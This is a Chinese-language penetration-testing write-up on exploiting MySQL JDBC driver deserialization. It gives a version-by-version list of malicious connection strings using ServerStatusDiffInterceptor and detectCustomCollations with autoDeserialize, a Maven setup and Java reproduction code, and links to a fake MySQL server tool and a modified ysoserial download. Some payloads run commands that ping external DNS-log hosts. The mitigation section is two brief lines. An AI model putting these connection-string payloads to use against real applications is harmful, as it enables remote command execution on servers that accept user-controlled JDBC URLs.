前言
目前市面上出现的JDBC反序列化为MYSQL数据库。
想要找到利用点的话,大概就是这样,对于这种页面的渗透有两种思路
一是mysql恶意服务端文件读取
对于文件不可读取的时候有人提出了这种建议
二是mysql jdbc反序列化
条件:
1、需要客户端存在JDBC包且开放Mysql可控地址的功能
2、本地存在Gadget commons-collection
可以看到主要需要三个参数
jdbc:mysql://127.0.0.1:3306/mysql?user=root&pass=root
在实际的Web应用的话,我们也只需要注意这三个参数就好了
1、address jdbc:mysql://xx.xx.xx.xx:3306/mysql
2、user
3、pass(实际上并不需要用到)
利用的时候还需要注意jdbc这个第三方库的版本,我们是看不到的,只能猜测,根据版本使用对应的payload,利用链有两个触发点。
测MySQL JDBC Connector 5.1.x的版本需要在连接串中加一个maxAllowedPacket=655360属性,否则会报错(经过测试,好像加了也会报错,但是报错不影响命令执行)
ServerStatusDiffInterceptor触发
- **8.x:** jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
- **6.x(属性名不同):** jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
- **5.1.11及以上的5.x版本(包名没有了cj):** jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&maxAllowedPacket=655360&user=yso_JRE8u20_calc
- **5.1.10及以下的5.1.X版本:** 同上,但是需要连接后执行查询。
- **5.0.x:** 还没有ServerStatusDiffInterceptor,不可用
detectCustomCollations触发:
- **5.1.41及以上:** 不可用
- **5.1.29-5.1.40:** jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
- **5.1.28-5.1.19:** jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
- **5.1.18以下的5.1.x版本:** 不可用
- **5.0.x 版本:**不可用
大概原理就是JDBC在连接的时候会默认发起两个SQL语句查询,这两个查询会调用反序列化,反序列值包含恶意payload,在目标环境有可利用的gadget就可以实现命令执行了
复现
利用主要依托于的工具为https://github.com/fnmsd/MySQL_Fake_Server
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>jdbc-deser</groupId>
<artifactId>jdbc-deser</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.14</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
</project>
服务器端代码JDBC 8.x
import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.DriverManager;
import java.sql.SQLOutput;
public class mysqljdbc {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3307/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections5_calc";//8.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
DatabaseMetaData dbmd=conn.getMetaData();
System.out.println(dbmd.getDriverVersion());
}
}
根据实际场景来修改user字段,如CommonsCollections5可以改成CommonsCollections6,JRE8u20,CommonsCollections11。这个就要依托于修改过的yso这个工具的强大了,这个工具修改成啥样,就能多样化攻击执行命令。
P喵呜大佬改过的版本,内置的Yso可以直接用
https://www.yuque.com/attachments/yuque/0/2021/zip/297422/1617096871598-6f6c0957-9540-4af8-9a6b-17a4fd5c4d42.zip
user=yso_CommonsCollections11_ping 06954c72.toxiclog.xyz 测试经过可以成功
服务器端代码JDBC 5.x
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.29</version>
</dependency>
public class mysqljdbc {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3307/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections11_ping dae2457e.toxiclog.xyz";//5.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
DatabaseMetaData dbmd=conn.getMetaData();
System.out.println(dbmd.getDriverVersion());
}
}
经过测试
detectCustomCollations 的利用链会执行命令一次,且服务端产生报错
ServerStatusDiffInterceptor 利用链在5.x版本会执行命令10次,且服务端不报错
修复:
可以引入IP白名单机制
JDBC 21版本以上被修复了该漏洞好像。